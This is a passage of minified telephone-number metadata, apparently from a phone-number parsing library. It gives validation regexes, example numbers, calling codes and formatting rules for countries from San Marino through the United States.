,,,"58001110",,,[8]],"SM",378,"00",,,,"([89]\\d{5})$","0549$1",,,[[,"(\\d{6})","$1",["[89]"]],[,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[5-7]"]],[,"(\\d{4})(\\d{6})","$1 $2",["0"]]],[[,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[5-7]"]],[,"(\\d{4})(\\d{6})","$1 $2",["0"]]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],SN:[,[,,"(?:[378]\\d|93)\\d{7}",,,,,,,[9]],[,,"3(?:0(?:1[0-2]|80)|282|3(?:8[1-9]|9[3-9])|611)\\d{5}",,,,"301012345"],[,,"7(?:(?:[06-8]\\d|21|90)\\d|5(?:0[01]|[19]0|2[25]|[38]3|[4-7]\\d))\\d{5}",
,,,"701234567"],[,,"800\\d{6}",,,,"800123456"],[,,"88[4689]\\d{6}",,,,"884123456"],[,,"81[02468]\\d{6}",,,,"810123456"],[,,,,,,,,,[-1]],[,,"(?:3(?:392|9[01]\\d)\\d|93(?:3[13]0|929))\\d{4}",,,,"933301234"],"SN",221,"00",,,,,,,,[[,"(\\d{3})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["8"]],[,"(\\d{2})(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[379]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],SO:[,[,,"[346-9]\\d{8}|[12679]\\d{7}|[1-5]\\d{6}|[1348]\\d{5}",,,,,,,[6,7,8,9]],[,,
"(?:1\\d|2[0-79]|3[0-46-8]|4[0-7]|5[57-9])\\d{5}|(?:[134]\\d|8[125])\\d{4}",,,,"4012345",,,[6,7]],[,,"(?:(?:15|(?:3[59]|4[89]|6\\d|7[79]|8[08])\\d|9(?:0\\d|[2-9]))\\d|2(?:4\\d|8))\\d{5}|(?:[67]\\d\\d|904)\\d{5}",,,,"71123456",,,[7,8,9]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"SO",252,"00","0",,,"0",,,,[[,"(\\d{2})(\\d{4})","$1 $2",["8[125]"]],[,"(\\d{6})","$1",["[134]"]],[,"(\\d)(\\d{6})","$1 $2",["[15]|2[0-79]|3[0-46-8]|4[0-7]"]],[,"(\\d)(\\d{7})","$1 $2",
["(?:2|90)4|[67]"]],[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["[348]|64|79|90"]],[,"(\\d{2})(\\d{5,7})","$1 $2",["1|28|6[0-35-9]|77|9[2-9]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],SR:[,[,,"(?:[2-5]|68|[78]\\d)\\d{5}",,,,,,,[6,7]],[,,"(?:2[1-3]|3[0-7]|(?:4|68)\\d|5[2-58])\\d{4}",,,,"211234"],[,,"(?:7[124-7]|8[124-9])\\d{5}",,,,"7412345",,,[7]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"56\\d{4}",,,,"561234",,,[6]],"SR",597,"00",,,,,,,,[[,"(\\d{2})(\\d{2})(\\d{2})",
"$1-$2-$3",["56"]],[,"(\\d{3})(\\d{3})","$1-$2",["[2-5]"]],[,"(\\d{3})(\\d{4})","$1-$2",["[6-8]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],SS:[,[,,"[19]\\d{8}",,,,,,,[9]],[,,"1[89]\\d{7}",,,,"181234567"],[,,"(?:12|9[1257-9])\\d{7}",,,,"977123456"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"SS",211,"00","0",,,"0",,,,[[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["[19]"],"0$1"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,
,,,,,,[-1]]],ST:[,[,,"(?:22|9\\d)\\d{5}",,,,,,,[7]],[,,"22\\d{5}",,,,"2221234"],[,,"900[5-9]\\d{3}|9(?:0[1-9]|[89]\\d)\\d{4}",,,,"9812345"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"ST",239,"00",,,,,,,,[[,"(\\d{3})(\\d{4})","$1 $2",["[29]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],SV:[,[,,"[267]\\d{7}|(?:80\\d|900)\\d{4}(?:\\d{4})?",,,,,,,[7,8,11]],[,,"2(?:79(?:0[0347-9]|[1-9]\\d)|89(?:0[024589]|[1-9]\\d))\\d{3}|2(?:[1-69]\\d|[78][0-8])\\d{5}",
,,,"21234567",,,[8]],[,,"[67]\\d{7}",,,,"70123456",,,[8]],[,,"800\\d{8}|80[01]\\d{4}",,,,"8001234",,,[7,11]],[,,"900\\d{4}(?:\\d{4})?",,,,"9001234",,,[7,11]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"SV",503,"00",,,,,,,,[[,"(\\d{3})(\\d{4})","$1 $2",["[89]"]],[,"(\\d{4})(\\d{4})","$1 $2",["[267]"]],[,"(\\d{3})(\\d{4})(\\d{4})","$1 $2 $3",["[89]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],SX:[,[,,"7215\\d{6}|(?:[58]\\d\\d|900)\\d{7}",,,,,,,[10],[7]],[,,"7215(?:4[2-8]|8[239]|9[056])\\d{4}",
,,,"7215425678",,,,[7]],[,,"7215(?:1[02]|2\\d|5[034679]|8[014-8])\\d{4}",,,,"7215205678",,,,[7]],[,,"8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",,,,"8002123456"],[,,"900[2-9]\\d{6}",,,,"9002123456"],[,,,,,,,,,[-1]],[,,"52(?:3(?:[2-46-9][02-9]\\d|5(?:[02-46-9]\\d|5[0-46-9]))|4(?:[2-478][02-9]\\d|5(?:[034]\\d|2[024-9]|5[0-46-9])|6(?:0[1-9]|[2-9]\\d)|9(?:[05-9]\\d|2[0-5]|49)))\\d{4}|52[34][2-9]1[02-9]\\d{4}|5(?:00|2[125-9]|33|44|66|77|88)[2-9]\\d{6}",,,,"5002345678"],[,,,,,,,,,[-1]],"SX",1,"011","1",,,"(5\\d{6})$|1",
"721$1",,,,,[,,,,,,,,,[-1]],,"721",[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],SY:[,[,,"[1-39]\\d{8}|[1-5]\\d{7}",,,,,,,[8,9],[6,7]],[,,"21\\d{6,7}|(?:1(?:[14]\\d|[2356])|2[235]|3(?:[13]\\d|4)|4[134]|5[1-3])\\d{6}",,,,"112345678",,,,[6,7]],[,,"9[1-689]\\d{7}",,,,"944567890",,,[9]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"SY",963,"00","0",,,"0",,,,[[,"(\\d{2})(\\d{3})(\\d{3,4})","$1 $2 $3",["[1-5]"],"0$1",,1],[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["9"],
"0$1",,1]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],SZ:[,[,,"0800\\d{4}|(?:[237]\\d|900)\\d{6}",,,,,,,[8,9]],[,,"[23][2-5]\\d{6}",,,,"22171234",,,[8]],[,,"7[6-9]\\d{6}",,,,"76123456",,,[8]],[,,"0800\\d{4}",,,,"08001234",,,[8]],[,,"900\\d{6}",,,,"900012345",,,[9]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"70\\d{6}",,,,"70012345",,,[8]],"SZ",268,"00",,,,,,,,[[,"(\\d{4})(\\d{4})","$1 $2",["[0237]"]],[,"(\\d{5})(\\d{4})","$1 $2",["9"]]],,[,,,,,,,,,[-1]],,,[,,"0800\\d{4}",,,,,,,
[8]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],TA:[,[,,"8\\d{3}",,,,,,,[4]],[,,"8\\d{3}",,,,"8999"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"TA",290,"00",,,,,,,,,,[,,,,,,,,,[-1]],,"8",[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],TC:[,[,,"(?:[58]\\d\\d|649|900)\\d{7}",,,,,,,[10],[7]],[,,"649(?:266|712|9(?:4\\d|50))\\d{4}",,,,"6497121234",,,,[7]],[,,"649(?:2(?:3[129]|4[1-79])|3\\d\\d|4[34][1-3])\\d{4}",,,,"6492311234",,,,[7]],[,,"8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",
,,,"8002345678"],[,,"900[2-9]\\d{6}",,,,"9002345678"],[,,,,,,,,,[-1]],[,,"52(?:3(?:[2-46-9][02-9]\\d|5(?:[02-46-9]\\d|5[0-46-9]))|4(?:[2-478][02-9]\\d|5(?:[034]\\d|2[024-9]|5[0-46-9])|6(?:0[1-9]|[2-9]\\d)|9(?:[05-9]\\d|2[0-5]|49)))\\d{4}|52[34][2-9]1[02-9]\\d{4}|5(?:00|2[125-9]|33|44|66|77|88)[2-9]\\d{6}",,,,"5002345678"],[,,"649(?:71[01]|966)\\d{4}",,,,"6497101234",,,,[7]],"TC",1,"011","1",,,"([2-479]\\d{6})$|1","649$1",,,,,[,,,,,,,,,[-1]],,"649",[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],
TD:[,[,,"(?:22|[689]\\d|77)\\d{6}",,,,,,,[8]],[,,"22(?:[37-9]0|5[0-5]|6[89])\\d{4}",,,,"22501234"],[,,"(?:[69]\\d|77|8[56])\\d{6}",,,,"63012345"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"TD",235,"00|16",,,,,,"00",,[[,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[26-9]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],TG:[,[,,"[279]\\d{7}",,,,,,,[8]],[,,"2(?:2[2-7]|3[23]|4[45]|55|6[67]|77)\\d{5}",,,,"22212345"],[,,"(?:7[019]|9[0-36-9])\\d{6}",
,,,"90112345"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"TG",228,"00",,,,,,,,[[,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[279]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],TH:[,[,,"(?:001800|[2-57]|[689]\\d)\\d{7}|1\\d{7,9}",,,,,,,[8,9,10,13]],[,,"(?:1[0689]|2\\d|3[2-9]|4[2-5]|5[2-6]|7[3-7])\\d{6}",,,,"21234567",,,[8]],[,,"67(?:1[0-8]|2[4-7])\\d{5}|(?:14|6[1-6]|[89]\\d)\\d{7}",,,,"812345678",,,[9]],[,,"(?:001800\\d|1800)\\d{6}",
,,,"1800123456",,,[10,13]],[,,"1900\\d{6}",,,,"1900123456",,,[10]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"6[08]\\d{7}",,,,"601234567",,,[9]],"TH",66,"00[1-9]","0",,,"0",,,,[[,"(\\d)(\\d{3})(\\d{4})","$1 $2 $3",["2"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{3,4})","$1 $2 $3",["[13-9]"],"0$1"],[,"(\\d{4})(\\d{3})(\\d{3})","$1 $2 $3",["1"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],TJ:[,[,,"[0-57-9]\\d{8}",,,,,,,[9],[3,5,6,7]],[,,"(?:3(?:1[3-5]|2[245]|3[12]|4[24-7]|5[25]|72)|4(?:46|74|87))\\d{6}",
,,,"372123456",,,,[3,5,6,7]],[,,"(?:33[03-9]|4(?:1[18]|4[02-479])|81[1-9])\\d{6}|(?:[09]\\d|1[017]|2[02]|[34]0|5[05]|7[01578]|8[078])\\d{7}",,,,"917123456"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"TJ",992,"810",,,,,,"8~10",,[[,"(\\d{6})(\\d)(\\d{2})","$1 $2 $3",["331","3317"]],[,"(\\d{3})(\\d{2})(\\d{4})","$1 $2 $3",["44[02-479]|[34]7"]],[,"(\\d{4})(\\d)(\\d{4})","$1 $2 $3",["3(?:[1245]|3[12])"]],[,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["[0-57-9]"]]],,[,,,
,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],TK:[,[,,"[2-47]\\d{3,6}",,,,,,,[4,5,6,7]],[,,"(?:2[2-4]|[34]\\d)\\d{2,5}",,,,"3101"],[,,"7[2-4]\\d{2,5}",,,,"7290"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"TK",690,"00",,,,,,,,,,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],TL:[,[,,"7\\d{7}|(?:[2-47]\\d|[89]0)\\d{5}",,,,,,,[7,8]],[,,"(?:2[1-5]|3[1-9]|4[1-4])\\d{5}",,,,"2112345",,,[7]],[,,"7[2-8]\\d{6}",,,,"77212345",,,[8]],
[,,"80\\d{5}",,,,"8012345",,,[7]],[,,"90\\d{5}",,,,"9012345",,,[7]],[,,,,,,,,,[-1]],[,,"70\\d{5}",,,,"7012345",,,[7]],[,,,,,,,,,[-1]],"TL",670,"00",,,,,,,,[[,"(\\d{3})(\\d{4})","$1 $2",["[2-489]|70"]],[,"(\\d{4})(\\d{4})","$1 $2",["7"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],TM:[,[,,"(?:[1-6]\\d|71)\\d{6}",,,,,,,[8]],[,,"(?:1(?:2\\d|3[1-9])|2(?:22|4[0-35-8])|3(?:22|4[03-9])|4(?:22|3[128]|4\\d|6[15])|5(?:22|5[7-9]|6[014-689]))\\d{5}",,,,"12345678"],[,,"(?:6\\d|71)\\d{6}",
,,,"66123456"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"TM",993,"810","8",,,"8",,"8~10",,[[,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2-$3-$4",["12"],"(8 $1)"],[,"(\\d{3})(\\d)(\\d{2})(\\d{2})","$1 $2-$3-$4",["[1-5]"],"(8 $1)"],[,"(\\d{2})(\\d{6})","$1 $2",["[67]"],"8 $1"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],TN:[,[,,"[2-57-9]\\d{7}",,,,,,,[8]],[,,"81200\\d{3}|(?:3[0-2]|7\\d)\\d{6}",,,,"30010123"],[,,"3(?:001|[12]40)\\d{4}|(?:(?:[259]\\d|4[0-8])\\d|3(?:1[1-35]|6[0-4]|91))\\d{5}",
,,,"20123456"],[,,"8010\\d{4}",,,,"80101234"],[,,"88\\d{6}",,,,"88123456"],[,,"8[12]10\\d{4}",,,,"81101234"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"TN",216,"00",,,,,,,,[[,"(\\d{2})(\\d{3})(\\d{3})","$1 $2 $3",["[2-57-9]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],TO:[,[,,"(?:0800|(?:[5-8]\\d\\d|999)\\d)\\d{3}|[2-8]\\d{4}",,,,,,,[5,7]],[,,"(?:2\\d|3[0-8]|4[0-4]|50|6[09]|7[0-24-69]|8[05])\\d{3}",,,,"20123",,,[5]],[,,"(?:5(?:4[0-5]|5[4-6])|6(?:[09]\\d|3[02]|8[15-9])|(?:7\\d|8[46-9])\\d|999)\\d{4}",
,,,"7715123",,,[7]],[,,"0800\\d{3}",,,,"0800222",,,[7]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"55[0-37-9]\\d{4}",,,,"5510123",,,[7]],"TO",676,"00",,,,,,,,[[,"(\\d{2})(\\d{3})","$1-$2",["[2-4]|50|6[09]|7[0-24-69]|8[05]"]],[,"(\\d{4})(\\d{3})","$1 $2",["0"]],[,"(\\d{3})(\\d{4})","$1 $2",["[5-9]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],TR:[,[,,"4\\d{6}|8\\d{11,12}|(?:[2-58]\\d\\d|900)\\d{7}",,,,,,,[7,10,12,13]],[,,"(?:2(?:[13][26]|[28][2468]|[45][268]|[67][246])|3(?:[13][28]|[24-6][2468]|[78][02468]|92)|4(?:[16][246]|[23578][2468]|4[26]))\\d{7}",
,,,"2123456789",,,[10]],[,,"561(?:011|61\\d)\\d{4}|5(?:0[15-7]|1[06]|24|[34]\\d|5[1-59]|9[46])\\d{7}",,,,"5012345678",,,[10]],[,,"8(?:00\\d{7}(?:\\d{2,3})?|11\\d{7})",,,,"8001234567",,,[10,12,13]],[,,"(?:8[89]8|900)\\d{7}",,,,"9001234567",,,[10]],[,,,,,,,,,[-1]],[,,"592(?:21[12]|461)\\d{4}",,,,"5922121234",,,[10]],[,,"850\\d{7}",,,,"8500123456",,,[10]],"TR",90,"00","0",,,"0",,,,[[,"(\\d{3})(\\d)(\\d{3})","$1 $2 $3",["444"],,,1],[,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["512|8[01589]|90"],"0$1",,1],
[,"(\\d{3})(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3 $4",["5(?:[0-59]|61)","5(?:[0-59]|61[06])","5(?:[0-59]|61[06]1)"],"0$1",,1],[,"(\\d{3})(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[24][1-8]|3[1-9]"],"(0$1)",,1],[,"(\\d{3})(\\d{3})(\\d{6,7})","$1 $2 $3",["80"],"0$1",,1]],[[,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["512|8[01589]|90"],"0$1",,1],[,"(\\d{3})(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3 $4",["5(?:[0-59]|61)","5(?:[0-59]|61[06])","5(?:[0-59]|61[06]1)"],"0$1",,1],[,"(\\d{3})(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3 $4",
["[24][1-8]|3[1-9]"],"(0$1)",,1],[,"(\\d{3})(\\d{3})(\\d{6,7})","$1 $2 $3",["80"],"0$1",,1]],[,,"512\\d{7}",,,,"5123456789",,,[10]],,,[,,"(?:444|811\\d{3})\\d{4}",,,,,,,[7,10]],[,,"444\\d{4}",,,,"4441444",,,[7]],,,[,,,,,,,,,[-1]]],TT:[,[,,"(?:[58]\\d\\d|900)\\d{7}",,,,,,,[10],[7]],[,,"868(?:2(?:01|1[5-9]|[23]\\d|4[0-2])|6(?:0[7-9]|1[02-8]|2[1-9]|[3-69]\\d|7[0-79])|82[124])\\d{4}",,,,"8682211234",,,,[7]],[,,"868(?:(?:2[5-9]|3\\d)\\d|4(?:3[0-6]|[6-9]\\d)|6(?:20|78|8\\d)|7(?:0[1-9]|1[02-9]|[2-9]\\d))\\d{4}",
,,,"8682911234",,,,[7]],[,,"8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",,,,"8002345678"],[,,"900[2-9]\\d{6}",,,,"9002345678"],[,,,,,,,,,[-1]],[,,"52(?:3(?:[2-46-9][02-9]\\d|5(?:[02-46-9]\\d|5[0-46-9]))|4(?:[2-478][02-9]\\d|5(?:[034]\\d|2[024-9]|5[0-46-9])|6(?:0[1-9]|[2-9]\\d)|9(?:[05-9]\\d|2[0-5]|49)))\\d{4}|52[34][2-9]1[02-9]\\d{4}|5(?:00|2[125-9]|33|44|66|77|88)[2-9]\\d{6}",,,,"5002345678"],[,,,,,,,,,[-1]],"TT",1,"011","1",,,"([2-46-8]\\d{6})$|1","868$1",,,,,[,,,,,,,,,[-1]],,"868",[,,,,,,,,,[-1]],[,,
,,,,,,,[-1]],,,[,,"868619\\d{4}",,,,"8686191234",,,,[7]]],TV:[,[,,"(?:2|7\\d\\d|90)\\d{4}",,,,,,,[5,6,7]],[,,"2[02-9]\\d{3}",,,,"20123",,,[5]],[,,"(?:7[01]\\d|90)\\d{4}",,,,"901234",,,[6,7]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"TV",688,"00",,,,,,,,[[,"(\\d{2})(\\d{3})","$1 $2",["2"]],[,"(\\d{2})(\\d{4})","$1 $2",["90"]],[,"(\\d{2})(\\d{5})","$1 $2",["7"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],TW:[,[,,"[2-689]\\d{8}|7\\d{9,10}|[2-8]\\d{7}|2\\d{6}",
,,,,,,[7,8,9,10,11]],[,,"(?:2[2-8]\\d|370|55[01]|7[1-9])\\d{6}|4(?:(?:0(?:0[1-9]|[2-48]\\d)|1[023]\\d)\\d{4,5}|(?:[239]\\d\\d|4(?:0[56]|12|49))\\d{5})|6(?:[01]\\d{7}|4(?:0[56]|12|24|4[09])\\d{4,5})|8(?:(?:2(?:3\\d|4[0-269]|[578]0|66)|36[24-9]|90\\d\\d)\\d{4}|4(?:0[56]|12|24|4[09])\\d{4,5})|(?:2(?:2(?:0\\d\\d|4(?:0[68]|[249]0|3[0-467]|5[0-25-9]|6[0235689]))|(?:3(?:[09]\\d|1[0-4])|(?:4\\d|5[0-49]|6[0-29]|7[0-5])\\d)\\d)|(?:(?:3[2-9]|5[2-8]|6[0-35-79]|8[7-9])\\d\\d|4(?:2(?:[089]\\d|7[1-9])|(?:3[0-4]|[78]\\d|9[01])\\d))\\d)\\d{3}",
,,,"221234567",,,[8,9]],[,,"(?:40001[0-2]|9[0-8]\\d{4})\\d{3}",,,,"912345678",,,[9]],[,,"80[0-79]\\d{6}|800\\d{5}",,,,"800123456",,,[8,9]],[,,"20(?:[013-9]\\d\\d|2)\\d{4}",,,,"203123456",,,[7,9]],[,,,,,,,,,[-1]],[,,"99\\d{7}",,,,"990123456",,,[9]],[,,"7010(?:[0-2679]\\d|3[0-7]|8[0-5])\\d{5}|70\\d{8}",,,,"7012345678",,,[10,11]],"TW",886,"0(?:0[25-79]|19)","0","#",,"0",,,,[[,"(\\d{2})(\\d)(\\d{4})","$1 $2 $3",["202"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{3,4})","$1 $2 $3",["[258]0"],"0$1"],[,"(\\d)(\\d{3,4})(\\d{4})",
"$1 $2 $3",["[23568]|4(?:0[02-48]|[1-47-9])|7[1-9]","[23568]|4(?:0[2-48]|[1-47-9])|(?:400|7)[1-9]"],"0$1"],[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["[49]"],"0$1"],[,"(\\d{2})(\\d{4})(\\d{4,5})","$1 $2 $3",["7"],"0$1"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,"50[0-46-9]\\d{6}",,,,"500123456",,,[9]],,,[,,,,,,,,,[-1]]],TZ:[,[,,"(?:[25-8]\\d|41|90)\\d{7}",,,,,,,[9]],[,,"2[2-8]\\d{7}",,,,"222345678"],[,,"(?:6[125-9]|7[13-9])\\d{7}",,,,"621234567"],[,,"80[08]\\d{6}",,,,"800123456"],[,,"90\\d{7}",,,,"900123456"],
[,,"8(?:40|6[01])\\d{6}",,,,"840123456"],[,,,,,,,,,[-1]],[,,"41\\d{7}",,,,"412345678"],"TZ",255,"00[056]","0",,,"0",,,,[[,"(\\d{3})(\\d{2})(\\d{4})","$1 $2 $3",["[89]"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["[24]"],"0$1"],[,"(\\d{2})(\\d{7})","$1 $2",["5"]],[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["[67]"],"0$1"]],,[,,,,,,,,,[-1]],,,[,,"(?:8(?:[04]0|6[01])|90\\d)\\d{6}"],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],UA:[,[,,"[89]\\d{9}|[3-9]\\d{8}",,,,,,,[9,10],[5,6,7]],[,,"(?:3[1-8]|4[13-8]|5[1-7]|6[12459])\\d{7}",
,,,"311234567",,,[9],[5,6,7]],[,,"(?:39|50|6[36-8]|7[1-357]|9[1-9])\\d{7}",,,,"501234567",,,[9]],[,,"800[1-8]\\d{5,6}",,,,"800123456"],[,,"900[239]\\d{5,6}",,,,"900212345"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"89[1-579]\\d{6}",,,,"891234567",,,[9]],"UA",380,"00","0",,,"0",,"0~0",,[[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["6[12][29]|(?:3[1-8]|4[136-8]|5[12457]|6[49])2|(?:56|65)[24]","6[12][29]|(?:35|4[1378]|5[12457]|6[49])2|(?:56|65)[24]|(?:3[1-46-8]|46)2[013-9]"],"0$1"],[,"(\\d{4})(\\d{5})","$1 $2",
["3[1-8]|4(?:[1367]|[45][6-9]|8[4-6])|5(?:[1-5]|6[0135689]|7[4-6])|6(?:[12][3-7]|[459])","3[1-8]|4(?:[1367]|[45][6-9]|8[4-6])|5(?:[1-5]|6(?:[015689]|3[02389])|7[4-6])|6(?:[12][3-7]|[459])"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["[3-7]|89|9[1-9]"],"0$1"],[,"(\\d{3})(\\d{3})(\\d{3,4})","$1 $2 $3",["[89]"],"0$1"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],UG:[,[,,"800\\d{6}|(?:[29]0|[347]\\d)\\d{7}",,,,,,,[9],[5,6,7]],[,,"20(?:(?:240|30[67])\\d|6(?:00[0-2]|30[0-4]))\\d{3}|(?:20(?:[017]\\d|2[5-9]|3[1-4]|5[0-4]|6[15-9])|[34]\\d{3})\\d{5}",
,,,"312345678",,,,[5,6,7]],[,,"72(?:[48]0|6[01])\\d{5}|7(?:[015-8]\\d|20|36|4[0-5]|9[89])\\d{6}",,,,"712345678"],[,,"800[1-3]\\d{5}",,,,"800123456"],[,,"90[1-3]\\d{6}",,,,"901123456"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"UG",256,"00[057]","0",,,"0",,,,[[,"(\\d{4})(\\d{5})","$1 $2",["202","2024"],"0$1"],[,"(\\d{3})(\\d{6})","$1 $2",["[27-9]|4(?:6[45]|[7-9])"],"0$1"],[,"(\\d{2})(\\d{7})","$1 $2",["[34]"],"0$1"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],US:[,
[,,"[2-9]\\d{9}|3\\d{6}",,,,,,,[10],[7]],[,,"(?:3052(?:0[0-8]|[1-9]\\d)|5056(?:[0-35-9]\\d|4[468])|7302[0-4]\\d)\\d{4}|(?:305[3-9]|472[24]|505[2-57-9]|7306|983[2-47-9])\\d{6}|(?:2(?:0[1-35-9]|1[02-9]|2[03-57-9]|3[1459]|4[08]|5[1-46]|6[0279]|7[0269]|8[13])|3(?:0[1-47-9]|1[02-9]|2[013569]|3[0-24679]|4[167]|5[0-2]|6[01349]|8[056])|4(?:0[124-9]|1[02-579]|2[3-5]|3[0245]|4[023578]|58|6[349]|7[0589]|8[04])|5(?:0[1-47-9]|1[0235-8]|20|3[0149]|4[01]|5[179]|6[1-47]|7[0-5]|8[0256])|6(?:0[1-35-9]|1[024-9]|2[03689]|3[016]|4[0156]|5[01679]|6[0-279]|78|8[0-29])|7(?:0[1-46-8]|1[2-9]|2[04-8]|3[1247]|4[037]|5[47]|6[02359]|7[0-59]|8[156])|8(?:0[1-68]|1[02-8]|2[068]|3[0-2589]|4[03578]|5[046-9]|6[02-5]|7[028])|9(?:0[1346-9]|1[02-9]|2[0589]|3[0146-8]|4[01357-9]|5[12469]|7[0-389]|8[04-69]))[2-9]\\d{6}",
